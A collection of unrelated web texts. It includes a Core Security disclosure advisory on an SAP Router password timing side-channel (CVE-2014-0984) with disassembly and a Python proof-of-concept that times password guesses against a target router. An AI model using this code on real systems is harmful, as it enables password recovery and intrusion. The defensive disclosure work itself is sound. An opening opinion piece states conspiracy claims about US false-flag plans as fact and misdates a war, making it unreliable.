Why the oil giants, of course. (ExxonMobil, BP and Shell) Maybe that's why you never read about what a terrible mistake the war was. Because for the people who count, it really wasn't a mistake at all. In fact, it all worked out pretty well.
Of course, the US will support the appearance of democracy in Kabul, but the government won't have any real power beyond the capital. It never did anyway. (Locals jokingly called Karzai the "mayor of Kabul") As for the rest of the country; it will be ruled by warlords as it has been since the invasion in 2001. (Remember the Northern Alliance? Hate to break the news, but they're all bloodthirsty, misogynist warlords who were reinstated by Rumsfeld and Co.)
This is the new anarchic "Mad Max" template Washington is applying wherever it intervenes. The intention is to dissolve the nation-state in order to remove any obstacle to resource extraction, which is why failed states are popping up wherever the US sticks its big nose. It's all by design. Chaos is the objective. Simply put: It's easier to steal whatever one wants when there's no center of power to resist.
This is why political leaders in Europe are so worried, because they don't like the idea of sharing a border with Somalia, which is exactly what Ukraine is going to look like when the US is done with it.
In Ukraine, the US is using a divide and conquer strategy to pit the EU against trading partner Moscow. The State Department and CIA helped to topple Ukraine's elected President Viktor Yanukovych and install a US stooge in Kiev who was ordered to cut off the flow of Russian gas to the EU and lure Putin into a protracted guerilla war in Ukraine. The bigwigs in Washington figured that, with some provocation, Putin would react the same way he did when Georgia invaded South Ossetia in 2006. But, so far, Putin has resisted the temptation to get involved which is why new puppet president Petro Poroshenko has gone all "Jackie Chan" and stepped up the provocations by pummeling east Ukraine mercilessly. It's just a way of goading Putin into sending in the tanks.
But here's the odd part: Washington doesn't have a back-up plan. It's obvious by the way Poroshenko keeps doing the same thing over and over again expecting a different result. That demonstrates that there's no Plan B. Either Poroshenko lures Putin across the border and into the conflict, or the neocon plan falls apart, which it will if they can't demonize Putin as a "dangerous aggressor" who can't be trusted as a business partner.
So all Putin has to do is sit-tight and he wins, mainly because the EU needs Moscow's gas. If energy supplies are terminated or drastically reduced, prices will rise, the EU will slide back into recession, and Washington will take the blame. So Washington has a very small window to draw Putin into the fray, which is why we should expect another false flag incident on a much larger scale than the fire in Odessa. Washington is going to have to do something really big and make it look like it was Moscow's doing. Otherwise, their pivot plan is going to hit a brick wall. Here's a tidbit readers might have missed in the Sofia News Agency's novinite site:
"Ukraine's Parliament adopted… a bill under which up to 49% of the country's gas pipeline network could be sold to foreign investors. This could pave the way for US or EU companies, which have eyed Ukrainian gas transportation system over the last months.
…Prime Minister Arseniy Yatsenyuk was earlier quoted as saying that the bill would allow Kiev to "attract European and American partners to the exploitation and modernization of Ukraine's gas transportation," in a situation on Ukraine's energy market he described as "super-critical". Critics of the bill have repeatedly pointed the West has long been interest in Ukraine's pipelines, with some seeing in the Ukrainian revolution a means to get access to the system. (Ukraine allowed to sell up to 49% of gas pipeline system, novinite.com)
Boy, you got to hand it to the Obama throng. They really know how to pick their coup-leaders, don't they? These puppets have only been in office for a couple months and they're already giving away the farm.
And, such a deal! US corporations will be able to buy up nearly half of a pipeline that moves 60 percent of the gas that flows from Russia to Europe. That's what you call a tollbooth, my friend; and US companies will be in just the right spot to gouge Moscow for every drop of natural gas that transits those pipelines. And gouge they will too, you can bet on it.
Is that why the State Department cooked up this loony putsch, so their fatcat, freeloading friends could rake in more dough?
This also explains why the Obama crowd is trying to torpedo Russia's other big pipeline project called Southstream. Southstream is a good deal for Europe and Russia. On the one hand, it would greatly enhance the EU's energy security, and on the other, it will provide needed revenues for Russia so they can continue to modernize, upgrade their dilapidated infrastructure, and improve standards of living. But "the proposed pipeline (which) would snake about 2,400 kilometers, or roughly 1,500 miles, from southern Russia via the Black Sea to Bulgaria, Serbia, Hungary and ultimately Austria. (and) could handle about 60 billion cubic meters of natural gas a year, enough to allow Russian exports to Europe to largely bypass Ukraine" (New York Times) The proposed pipeline further undermines Washington's pivot strategy, so Obama, the State Department and powerful US senators (Ron Johnson, John McCain, and Chris Murphy) are doing everything in their power to torpedo the project.
"What gives Vladimir Putin his power and control is his oil and gas reserves and West and Eastern Europe's dependence on them," Senator Johnson said in an interview. "We need to break up his stranglehold on energy supplies. We need to bust up that monopoly." (New York Times)
What a bunch of baloney. Putin doesn't have a monopoly on gas. Russia only provides 30 percent of the gas the EU uses every year. And Putin isn't blackmailing anyone either. Countries in the EU can either buy Russian gas or not buy it. It's up to them. No one has a gun to their heads. And Gazprom's prices are competitive too, sometimes well-below market rates which has been the case for Ukraine for years, until crackpot politicians started sticking their thumb in Putin's eye at every opportunity; until they decided that that they didn't have to pay their bills anymore because, well, because Washington told them not to pay their bills. That's why.
Ukraine is in the mess it's in today for one reason, because they decided to follow Washington's advice and shoot themselves in both feet. Their leaders thought that was a good idea. So now the country is broken, penniless and riven by social unrest. Regrettably, there's no cure for stupidity.
The neocon geniuses apparently believe that if they sabotage Southstream and nail down 49 percent ownership of Ukraine's pipeline infrastructure, then the vast majority of Russian gas will have to flow through Ukrainian pipelines. They think that this will give them greater control over Moscow. But there's a glitch to this plan which analyst Jeffrey Mankoff pointed out in an article titled "Can Ukraine Use Its Gas Pipelines to Threaten Russia?". Here's what he said:
"The biggest problem with this approach is a cut in gas supplies creates real risks for the European economy… In fact, Kyiv's efforts to siphon off Russian gas destined to Europe to offset the impact of a Russian cutoff in January 2009 provide a window onto why manipulating gas supplies is a risky strategy for Ukraine. Moscow responded to the siphoning by halting all gas sales through Ukraine for a couple of weeks, leaving much of eastern and southern Europe literally out in the cold. European leaders reacted angrily, blaming both Moscow and Kyiv for the disruption and demanding that they sort out their problems. While the EU response would likely be somewhat more sympathetic to Ukraine today, Kyiv's very vulnerability and need for outside financial support makes incurring European anger by manipulating gas supplies very risky." (Can Ukraine Use Its Gas Pipelines to Threaten Russia, two paragraphs)
The funny thing about gas is that, when you stop paying the bills, they turn the heat off. Is that hard to understand?
So, yes, the State Department crystal-gazers and their corporate-racketeer friends might think they have Putin by the shorthairs by buying up Ukraine's pipelines, but the guy who owns the gas (Gazprom) is still in the drivers seat. And he's going to do what's in the best interests of himself and his shareholders. Someone should explain to John Kerry that that's just how capitalism works.
Washington's policy in Ukraine is such a mess, it really makes one wonder about the competence of the people who come up with these wacko ideas. Did the brainiacs who concocted this plan really think they'd be able to set up camp between two major trading partners, turn off the gas, reduce a vital transit country into an Iraq-type basketcase, and start calling the shots for everyone in the region?
It's crazy.
Europe and Russia are a perfect fit. Europe needs gas to heat its homes and run its machinery. Russia has gas to sell and needs the money to strengthen its economy. It's a win-win situation. What Europe and Russia don't need is the United States. In fact, the US is the problem. As long as US meddling persists, there's going to be social unrest, division, and war. It's that simple. So the goal should be to undermine Washington's ability to conduct these destabilizing operations and force US policymakers to mind their own freaking business. That means there should be a concerted effort to abandon the dollar, ditch US Treasuries, jettison the petrodollar system, and force the US to become a responsible citizen that complies with International law.
It won't happen overnight, but it will happen, mainly because everyone is sick and tired of all the troublemaking.


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Portal: Characters
From A Wiki of Ice and Fire
George R.R. Martin's world of Song of Ice and Fire, contains hundreds of complex and vivid characters, spanning multiple storylines and continents played by lords, bastards, knights, ladies, and children. With dozens POV Character, through whose eyes the story is told.
POV Characters
Characters by Affiliation
Characters By Region
All Characters


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Kaboom! Bangbangbang! Squeeeeeeeeeeeeeeeeeeeee! Sizzle! It's Bonfire Night this Saturday, but we're letting off a rocket a couple of days early, in the form of Answer Me This! Episode 195:
This classic episode is available to BUY NOW for just 79p at the Answer Me This! Store, through a secure server, without DRM restriction. CLICK HERE to find out more and support our podcast. (This helps keep our most recent episodes free)
We also discuss:
the Bowls World Championship
Wolf Blitzer
Amaretto sours
'ash cash'
gift hampers
beefeaters vs. Kermit the Frog
Pass the Pigs vs. Heave the Heifers
first novels vs. meconium
'Blister in the Sun' vs. 'My Ding-A-Ling' vs. 'Pictures of Lily'
Chelsy Davy
Pete Townshend
cocktail umbrellas
King Charles III?
Plus, in this week's Bonus Bit of Crap on the App, Olly recounts a bad-taste wedding-day prank with tragic consequences. So if you want to ruin an upcoming wedding, fire up your iPhone, iPad or Android device to learn how. At least you won't have to sit through the bride and groom's honeymoon photo slides, since they'll never speak to you again.
We will never speak to YOU again if you don't send us your QUESTIONS, so you had better leave voicemails on the Question Line (dial 0208 123 5877, Skype answermethis) or send emails to firstname.lastname@example.com. Don't make us send you to Coventry, OK?
See you next Thursday,
Helen & Olly


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- Polyester poplin fabric
- For use with tables 6' wide
- Tight, fitted look
- Covers four sides of the table
- Flame retardant treated (FR rated for exhibit halls)
- Machine-washable and wrinkle-resistant; do not dry clean and do not iron
- One-year product warranty
- Product Size : 72 in (W) x 29 in (H) x 30 in (D)
- Shipping Weight : 3 lbs
- Dimensional Weight : 6 lbs
- Product Weight : 2 lbs
- Box Dimensions : 10 in (W) x 7 in (H) x 14 in (D)
- Standard warranty is a one year parts and labor warranty which warrants product against defects in material and workmanship. It does not cover damage due to accidents, abuse, or normal wear and tear. Products found to be defective will be replaced or repaired at factory's discretion.
Most recent templates provided by Zilla upon order.
To get the templates in advance, please contact us here.


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Things new to me…
10 June, 2011 § 6 Comments
Since moving to Mountain View, California from East Lansing, Michigan, I've noticed some things that are different from back home.
- At night, there is a large amount of snails that walk across the sidewalk near my apartment. I stepped on one during my first night here, and I felt really bad for the poor guy. Back in East Lansing, I watched out for toads. Here I'll watch out for snails. I just wish snails moved faster.
- East Lansing has a pretty restrictive permit for ice cream trucks, so they are pretty rare. Where I'm living in Mountain View, I happen to see someone pushing an ice cream cart just about every day. The cart has a little bell on it that dings as the person walks behind it.
- East Lansing and Lansing are working hard to make their communities more friendly to non-motorized transportation. After a week of living here, I can see that the Lansing area has a lot more work to do (but is on the right track).
- There are bike lanes on almost every street, and some streets are considered "bike boulevards".
- The CalTrain (which is a commuter-oriented train) has two cars on each train that are considered "bike cars". A bike car has stalls inside for holding bikes while the patrons ride the train. There are also other options like the city and community bus, BART, and VTA light rail.
- Every establishment that I've been to here has ample bike parking located outside. It seems that in East Lansing the city has to fight developers to include bike racks.
- The sales tax here is 9.25%, compared to 6.00% in Michigan. There are also other fees related to buying LCD screens, etc. It doesn't seem like 3.25% would be that noticeable, but it changes the way you think about the dollar menu 😛
- There is a park near me that features outdoor exercise equipment. It has a chest press, leg press, pull up bars, stationary bicycle, and more. It would be nice to see these included in parks in Michigan.
- By law, gas stations in California are required to offer free air and water to patrons who purchase fuel. It would be nice to see a similar law in Michigan, as improperly inflated tires are a major cause of auto accidents.


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The second generation Solidoodle 3D printer pushes envelope with increased printing area and entry-level pricing. For $499 you get a fully assembled 3D printer that's capable of printing within a 6″x6″x6″ cube. The print resolution isn't as fine as the current crop of hobbyist printers, but it does a decent job for the price. [via BetaBeat]
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For years, directors at the Dallas Museum of Art faced a daunting problem that threatened to stifle the growth of the century-old organization. The prolific use of computer-generated content was requiring them to store ever more videos, audio clips, and digital images relating to the museum's vast collection of works to assist in research, accounting, outreach, and other day-to-day operations.
As the number of digital assets grew, they were scattered across a handful of machines that were maintained by different departments.
Meanwhile, IT workers were still relying on DVDs to back up all the various content, thereby relegating it to a nonsearchable format. Employees who wanted to track audio narratives, video documentaries, or digital images involving a particular collection frequently had to hold lengthy meetings just to get a thorough tally. "Everybody in the museum sort of worked in little silos," says Homer Gutierrez, the foundation's director of IT. "Whenever they wanted to find something, it was a nightmare."
So three years ago managers at the museum — which houses rare works by Van Gogh, Picasso, and Matisse among its 26,000-strong collection — embarked on an ambitious plan to digitally reproduce nearly all its works in the form of high-resolution images and place those images where anyone with a Web browser and the proper credentials could quickly find, edit, and access them. To bring order and accessibility to the vast library of rich media, IT sat down with librarians, marketing personnel, and other business stakeholders to lay the groundwork for creating a single repository where multimedia content could be indexed, stored, and retrieved more efficiently.
Museum directors now employ a software solution by Stellent (which Oracle recently acquired) that allows employees to enter and index newly created high-resolution images, for example, as soon as they become available. So far, the museum has checked in only a fraction of its digital images, but already Gutierrez is seeing a benefit.
"It has broken down a lot of barriers as far as information was concerned within the organization," Gutierrez says. "The ultimate goal for us is to share our media with other museums and have a standard for all the museums."
The problem vexing the Dallas Museum of Art is one shared by a growing number of organizations. Creating images, audio, video, and other types of digitized content is easier and less expensive than ever. Faster bandwidth and cheap storage systems that house mammoth amounts of data are resulting in an onslaught of digital assets (see also "Getting data asset management right").
But those assets have to be managed effectively in order to retain their value and future potential for profit.
"Digital asset management systems are no longer seen as nice to have," says Mukul Krishna, an analyst who follows DAM for the research firm Frost & Sullivan. "The perception is changing to 'must have'."
The art of retrieval
The proliferation represents a double-edged sword. For the first time, corporations have the capability to store and manage branding, marketing logos, promotional and training videos, and other digital content in-house — instead of paying outside agencies to store those assets in geographically dispersed, hard-to-access locations. That creates new revenue opportunities by making it easier to repurpose those assets for distribution on Web sites, kiosks, cell phones, and other channels. Those benefits can only be realized, however, if the right assets can be searched and retrieved by the right people — a big "if" when talking about tens of thousands of images and other sorts of unstructured data that consume terabytes or even petabytes of space.
That's where DAM (digital asset management) comes in. DAM uses a methodical taxonomy of metadata — and in some cases voice recognition and optical character recognition — to make it easy, say, to locate an obscure video from two years ago or the exact slides used in an old marketing campaign.
But DAM goes well beyond that. Once the province of media, entertainment, and marketing professionals, a host of new industry players are embracing DAM and using it in rather innovative ways. Just a few of the newer applications for DAM systems: Call centers that use phoneme recognition to identify the cause of a large spike in complaints (think "battery failure" in a computer manufacturer's support center), pharmaceutical companies that organize and distribute digital content to the FDA for approval of new drugs, and casinos that index vast amounts of surveillance video. In order to create a repository for digital media, the ultimate challenge is to create a structure where it didn't exist before.
"There's still that saying that a picture is worth a thousand words," says Stouffer Eagan, CEO of Autonomy, a provider of DAM systems that have the capability to read license plate numbers captured in video, analyze phonemes within audio, and automatically generate smart tags based on concepts in an underlying search result. "If it has in it what you need informationally, it's probably worth 10,000 words."
Autonomy's ability to deduce patterns and relationships was particularly attractive to managers at the NewsMarket, an aggregator of video for journalists in print and broadcast. The product, which Autonomy markets under the name IDOL, reads pre-inserted metadata to help reporters find content related to SUVs, for instance. But it can also recognize that some of the images emphasize fuel efficiency or were featured at the New York Auto Show. Says Shoba Purushothaman, president and CEO of the NewsMarket: "IDOL tags things with stuff we didn't think of." The New York-based company also uses the product to make suggestions based on an individual customer's browsing habits to help find video suited to their precise needs.
A quest for collaboration
Because of its highly unstructured nature, rich media tends to be a mishmash of interrelated video, still images, and PowerPoint presentations. It can be particularly hard to manage when it's created and edited by a large team located in multiple locations throughout the world. Furthermore, digital content frequently needs to be stored in a variety of formats, from broadcast-grade video to compressed files suitable for streaming. That means DAM systems must also be able to handle transformation, check in, access privileges, and workflow processes.
For the international real estate firm Hines, with 3,000 employees in 80 offices, it was becoming increasingly difficult for workers to collaborate on and share video and still images related to the properties they were managing and selling. Content was scattered all over the world, often creating costly delays when a worker in one time zone had to rely on a colleague halfway around the world to access or process a piece of work.
So Hines turned to EMC's Documentum to centrally house and index the content and make it available to authorized workers via Web browser. It has proved a boon in helping salespeople discover past work that a separate office may already have done for a client, or conduct specialized searches to find all content related to art installations performed in a particular location.
"For the corporate communications group, it really turned that group around," says Beth Franssen, Hines's manager of electronic corporate marketing. "It allowed them to be more strategic and provide a better service."
An end-to-end solution is attractive to many customers, but others, including the NewsMarket's Purushothaman, say Documentum lacks advanced tools such as those for handling video.
Another formidable DAM services vendor is IBM. A longtime player in the enterprise content management space, it tackles the rich-media challenge with a combination of WebSphere, Content Manager, and analytics plug-ins, such as the open-source UIMA (Unstructured Information Management Architecture). Because most DAM systems sit on top of an enterprise-grade database, IBM's solution integrates easily into its DB2. It also plays nice with other IBM products, such as its grid-computing offerings.
That was a big plus for the IT department at the National Digital Medical Archive, which provides an infrastructure that stores, manages, and distributes almost 13 million radiological images — or about 1PB of data — for about 50 health care operations. Rather than manage the images themselves, customers can rely on the NDMA's grid, which is built on a service-oriented architecture that's accessed using a front-end "Wallplug" that the health care provider's IT department can set up in about an hour, says Derek Danois, CEO of NDMA.
IT managers at NDMA needed considerable help for IBM consultants to customize the software so it could richly index the content, which in addition to radiological images, includes audio files of transcription from doctors, and videos of colonoscopies and other medical procedures. Not only does it allow doctors to access patient records from anywhere, it's also HIPAA compliant.
"We've coalesced all of this into a highly customized instance of DB2 and Content Manager that allows us to deliver a final-and-ready solution for hospitals and other medical professions to use without having to worry about complicated IT decisions," Danois says.
No magic bullet here
The market for solutions that manage rich media is highly segmented, and no single vendor meets all needs. That means IT managers who are ready to deploy a DAM system should consider the products carefully before choosing. Discovery, a broadcast network that owns the Discovery Channel, Animal Planet, and other properties, has such specialized needs that it uses DAM systems sold by four different providers to manage music, video, royalty images, and royalty-free images.
IT professionals must also decide whether they want to outsource the system to a company such as Getty Images or Corbis, or to manage the system themselves. "IT loves the fact that they can wash their hands of it," says Susan Worthy, vice president of marketing at ClearStory Systems, another hosted provider. Other organizations, such as government agencies handling highly sensitive information, often prefer to house their data in-house.
Perhaps most important of all is for IT professionals to closely coordinate with managers in every department that works with rich media to clearly map out how the system will be used, says Melissa Webster, an analyst at IDC. "The solutions are quickly differentiated once you understand whether it's about supporting the creative phase of the lifecycle or the publishing phase," she says. "Working with business stakeholders is the first thing."


text:
Advertising history, advertising media, Gregory Dean, Internet advertising, magazine advertising, Marketing, Marketing Strategy, Marketography, newspaper advertising, print media, radio advertising
Sometimes we forget basics. Advertising as a non-personal, paid communication about products (Arens Schaefer, & Weigold 2009). Advertising has an important role in business. Without advertising, many great products would be the world's best-kept secrets.
Advertising allows businesses to 'spread the word' about their products and services.
Sometimes the message is designed for the masses, and in other cases a more strategic approach is used to deliver advertising in a more controlled environment. Advertising gives businesses a competitive advantage. Businesses use different forms of advertising leveraging various media to raise public awareness regarding their products. Advertising is the only way for businesses to tout their product's uniqueness and differentiate themselves from their competition.
Advertising can take many forms. Each form, method, or technique can be used across several simultaneous marketing channels and advertising conduits. For example, comparative advertising as part of a marketing campaign can run concurrent in print, on television, radio, and the Internet. Advertising is one part of a cohesive marketing mix. Specifically, advertising falls under "promotion"—one of the 4 Ps of the marketing mix. Businesses are constantly seeking new ways to advertise.
Arens, W., Schaefer, D., & Weigold, M. (2009). Essentials of Contemporary Advertising. McGraw-Hill Irwin, New York.


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BSBA Degree Overview
Schmidthorst College of Business
BSBA degree overview
The curriculum leading to the BSBA degree consists of University, BG Perspective, general degree, admission, business, and specialization requirements.
- BG Perspective requirements
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- Math
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A candidate for the bachelor of science in business administration degree must complete the general requirements for graduation listed under Academic Policies and must meet or exceed all of the following:
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Detailed information regarding the BSBA degree may be obtained in the following pages, from Undergraduate Student Development in the college office (114 Maurer Center, 419-372-2747), and from faculty mentors in the departments and programs.
Updated: 03/26/2021 04:20PM


text:
James Cameron, self-proclaimed "king of the world," went to the bottom of it yesterday. The Titanic director and deep-sea explorer dove to the bottom of the planet's deepest recess, the Mariana Trench, using a submarine of his own design. He announced the triumph in a tweet, sent while he was almost seven miles deep, to the puzzlement of dozens of Twitter users who struggle to get a signal in an elevator or in their own apartments:
How do you tweet from the bottom of the ocean? The secret turns out not to be a killer service plan ("C-Mobile" as one Twitter user joked), but having a friend up on the surface. As a spokesperson for the National Geographic Society informed me, "the tweet was pre-written by James Cameron and sent by a team member from the surface ship, with his knowledge, when he arrived at the bottom."
For those willing to count tweets by proxy, Cameron thus claimed the world's deepest tweet. (Of course the usual claim is that Twitter is too shallow.) That said, Cameron's feat may not be the most impressive and bewildering we've seen yet. As SlashGear pointed out, NASA astronaut and Expedition 25 commander Douglas H. Wheelock was able to check in to Foursquare upon docking at the International Space Station.


text:
SAP Router - Timing Attack Password Disclosure
Core Security - Corelabs Advisory
SAP Router Password Timing Attack
1. *Advisory Information*
Title: SAP Router Password Timing Attack
Advisory ID: CORE-2014-0003
Advisory URL:
Date published: 2014-04-15
Date of last update: 2014-03-06
Vendors contacted: SAP
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Information Exposure Through Timing Discrepancy [CWE-208]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0984
3. *Vulnerability Description*
SAP Router [1] is an application-level gateway used to
connect systems in a SAP infrastructure. A vulnerability
have been found in SAP Router that could allow an unauthenticated
remote attacker to obtain passwords used to protect route entries
by a
timing side-channel attack.
4. *Vulnerable Packages*
. SAP Router release 721 patch level 117.
. SAP Router release 720 patch level 411.
. SAP Router release 710 patch level 029.
. Other versions are probably affected too, but they were not checked.
5. *Vendor Information, Solutions and Workarounds*
SAP released the security note
regarding these issues. Contact SAP for further information.
Martin Gallo proposed the following actions to mitigate the
impact of the vulnerabilities:
1. Disable the use of passwords on the Route Permission Table [2].
2. Enforce the use of SNC (Secure Network Communications) as an
authentication mechanism for securing routes.
6. *Credits*
This vulnerability was discovered and researched by Martin Gallo
from Core
Security Consulting Services. The publication of this advisory was
coordinated by Fernando Miranda from Core Advisories Team.
7. *Technical Description / Proof of Concept Code*
SAP Router permits and/or forbids networks connections based on a
Route Permission Table [2]. Entries in the
Route Permission Table can have a password. If a password is
for a given entry in the Route Permission Table, SAP Router checks
the user-supplied password matches with the one in the Route
Table entry before permitting a connection.
The vulnerable function 'passwordCheck'
performs a non-constant time string comparison for checking the
user-supplied password against the on in the Route Permission Table.
On the first non-matched character, the string comparison function
immediately interrupts the evaluation cycle, which may let an
attacker perform timing attacks.
The following snippet shows an excerpt of the vulnerable code
within the
'passwordCheck' function:
.text:0000000140005BE0 loc_140005BE0: ; CODE
XREF: passwordCheck+191j
.text:0000000140005BE0 movzx ecx, byte ptr [rdi] ; rdi
points to the routtab password
.text:0000000140005BE3 movzx eax, byte ptr [rdi+rsi] ;
rdi+rsi points to the user-supplied password
.text:0000000140005BE7 sub ecx, eax
.text:0000000140005BE9 jnz short loc_140005BF3 ;
password check failed
.text:0000000140005BEB add rdi, 1
.text:0000000140005BEF test eax, eax
.text:0000000140005BF1 jnz short loc_140005BE0
.text:0000000140005BF3 loc_140005BF3: ; CODE
XREF: passwordCheck+189j
.text:0000000140005BF3 test ecx, ecx
.text:0000000140005BF5 jz short loc_140005C3F
.text:0000000140005BF7 cmp cs:trace_level, 1
.text:0000000140005BFE jl short loc_140005C38
.text:0000000140005C00 call DpLock
.text:0000000140005C05 mov rcx, cs:qword_140273BC0
.text:0000000140005C0C lea r8, aPasswordcheck ;
.text:0000000140005C13 lea rdx, aSPasswordCheck ;
"%s: password check failed\n"
.text:0000000140005C1A mov cs:dword_1401ADAA4, 1
.text:0000000140005C24 call DpTrace
.text:0000000140005C29 loc_140005C29: ; CODE
XREF: passwordCheck+16Fj
.text:0000000140005C29 mov cs:dword_1401ADAA4, 2
.text:0000000140005C33 call DpUnlock
.text:0000000140005C38 loc_140005C38: ; CODE
XREF: passwordCheck+135j
.text:0000000140005C38 ;
.text:0000000140005C38 mov eax, 0FFFFFFA2h
.text:0000000140005C3D jmp short loc_140005C41
.text:0000000140005C3F ;
.text:0000000140005C3F loc_140005C3F: ; CODE
XREF: passwordCheck+12Cj
.text:0000000140005C3F ;
passwordCheck+174j ...
.text:0000000140005C3F xor eax, eax ;
password check succeeded
7.1. *Proof of Concept*
## ===========
## pysap - Python library for crafting SAP's network protocols packets
## Copyright (C) 2014 Core Security Technologies
## The library was designed and developed by Martin Gallo from the Security
## Consulting Services team of Core Security Technologies.
## This program is free software; you can redistribute it and/or
## modify it under the terms of the GNU General Public License
## as published by the Free Software Foundation; either version 2
## of the License, or (at your option) any later version.
## This program is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
## GNU General Public License for more details.
# Standard imports
import logging
from optparse import OptionParser, OptionGroup
# External imports
import fau_timer
from scapy.config import conf
from scapy.supersocket import socket
# Custom imports
from pysap.SAPNI import SAPNI, SAPNIStreamSocket
from pysap.SAPRouter import SAPRouter, router_is_control
# Set the verbosity to 0
conf.verb = 0
# Command line options parser
def parse_options():
description = \
"""This example script connects with a SAP Router service and makes an
information request using a provided password. It then records the
time the remote service takes to respond to the request. Further
of the time records could be performed in order to identify whether the
server is vulnerable to a timing attack on the password check.
epilog = \
"""pysap -
usage = "Usage: %prog [options] -d <remote host>"
parser = OptionParser(usage=usage, description=description,
target = OptionGroup(parser, "Target")
target.add_option("-d", "--remote-host", dest="remote_host",
help="Remote host [%default]", default="127.0.0.1")
target.add_option("-p", "--remote-port", dest="remote_port",
type="int", help="Remote port [%default]", default=3299)
target.add_option("--router-version", dest="router_version",
type="int", help="SAP Router version to use [retrieve from the remote
SAP Router]")
misc = OptionGroup(parser, "Misc options")
misc.add_option("-t", "--tries", dest="tries", default=10,
type="int", help="Amount of tries to make for each length [%default]")
misc.add_option("--password", dest="password", default="password",
help="Correct password to test")
misc.add_option("-o", "--output", dest="output",
default="output.csv", help="Output file [%default]")
misc.add_option("-v", "--verbose", dest="verbose",
action="store_true", default=False, help="Verbose output [%default]")
(options, _) = parser.parse_args()
if not options.remote_host:
parser.error("Remote host is required")
return options
# Retrieve the version of the remote SAP Router
def get_router_version(connection):
r = connection.sr(SAPRouter(type=SAPRouter.SAPROUTER_CONTROL,
version=40, opcode=1))
if router_is_control(r) and r.opcode == 2:
return r.version
return None
def try_password(options, password, output=None, k=0):
p = SAPRouter(type=SAPRouter.SAPROUTER_ADMIN,
p.adm_command = 2
p.adm_password = password
p = str(SAPNI() / p)
fau_timer.send_request(options.remote_host, options.remote_port, p,
cpuSpeed = fau_timer.get_speed()
cpuTicks = fau_timer.get_cpu_ticks()
time = fau_timer.get_time()
if options.verbose:
print "Request time: CPU Speed: %s Hz CPU Ticks: %s Time: %s
nanosec" % (cpuSpeed, cpuTicks, time)
# Write the time to the output file
if output:
output.write("%i,%s,%s\n" % (k, password, time))
return time
# Main function
def main():
options = parse_options()
if options.verbose:
# Initiate the connection
sock = socket.socket()
sock.connect((options.remote_host, options.remote_port))
conn = SAPNIStreamSocket(sock)
print "[*] Connected to the SAP Router %s:%d" %
(options.remote_host, options.remote_port)
# Retrieve the router version used by the server if not specified
if options.router_version is None:
options.router_version = get_router_version(conn)
print "[*] Using SAP Router version %d" % options.router_version
print "[*] Checking if the server is vulnerable to a timing attack ..."
with open(options.output, "w") as f:
c = 0
for i in range(0, len(options.password) + 1):
password = options.password[:i] + "X" *
(len(options.password) - i)
print "[*] Trying with password (%s) len %d" % (password,
for _ in range(0, options.tries):
try_password(options, password, f, c)
c += 1
if __name__ == "__main__":
8. *Report Timeline*
. 2014-02-20:
Initial notification sent to SAP, including technical description
to reproduce the vulnerability. Publication date set to March
11, 2014.
. 2014-02-20:
Vendor notifies that the tracking number 1068415-2014 was
created for this issue.
. 2014-02-28:
Vendor notifies that they will not be able to provide
a fix for the reported issue for the tentative release date,
March 11th,
and ask for delaying the advisory publication.
. 2014-03-03:
Vendor notifies that they currently do not see it as a
and asks for additional technical details.
. 2014-03-05:
Core sends additional information regarding how to exploit this
solving the network letency and other practical issues.
Additional publications
on this topic were also included [3],
[4], [5].
. 2014-03-07:
Vendor notifies that they will make changes for mitigating
timing attacks.
Vendor also notifies that they usually release security fixes
on Patch Days (every second Tuesday per month), and April 8th
or May 13th seems much more realistic dates for releasing fixes.
. 2014-03-26:
Vendor requests pushing the advisory release until May 13th.
. 2014-04-03:
Core re-schedules the advisory publication for May 13th.
. 2014-03-11:
First release date missed.
. 2014-03-07:
Core re-schedules the advisory publication for April 8th.
. 2014-03-13:
Core sends a Proof of Concept and aditional technical information.
. 2014-04-07:
SAP notifies that they have released the security note 1986895
[6] on April Patch Day 2014.
. 2014-04-09:
Core notifies that the advisory is going to be re-schedule for
the 15 of April.
. 2014-04-15:
Advisory CORE-2014-0003 published.
9. *References*
[3] http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.65.9811
[4] http://www.youtube.com/watch?v=idjDiBtu93Y&feature=related
[5] http://events.ccc.de/congress/2011/Fahrplan/attachments/2021_Slides
SAP security note 1986895
10. *About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is
charged with anticipating
the future needs and requirements for information security
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
11. *About Core Security Technologies*
Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
12. *Disclaimer*
The contents of this advisory are copyright
(c) 2014 Core Security Technologies and (c) 2014 CoreLabs,
and are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (United States) License:
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security
advisories team, which is available for download at


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text:
Professorship & Chairs
Faculty Development & Research
One of the cornerstones of all leading law schools is an excellent faculty. Southwestern's faculty members have taught and practiced law around the country. They have distinguished themselves as accessible and caring teachers and as nationally recognized experts in many areas of the law, from antitrust to tax. Through their commitment to students both in the classroom and as individuals, as well as their own scholarly research and publications, the faculty shape and develop Southwestern students as effective and confident future lawyers.
As competition increases among law schools for leading professors, Southwestern must have the resources available to keep pace with peer institutions. The establishment of new endowed professorships and general support for faculty research will help the law school to recruit and retain exceptional teachers and scholars. Other direct gifts might be made to support the expense of a faculty member's student research assistant for the summer or to cover the annual cost of research materials. Gifts of any size can also be directed to existing professorships.
Current Southwestern Professorships:
The Irwin R. Buchalter Professorship
Established in 1985, the Buchalter Professorship was named after the late Irwin R. Buchalter, class of 1933, and was Southwestern's first endowed professorship.
The Irving D. and Florence Rosenberg Professorship
In 1993, the Rosenberg Professorship was established by Mrs. Florence Rosenberg in memory of her late husband, Irving D. Rosenberg, a Los Angeles real estate investor.
The Paul E. Treusch Professorship
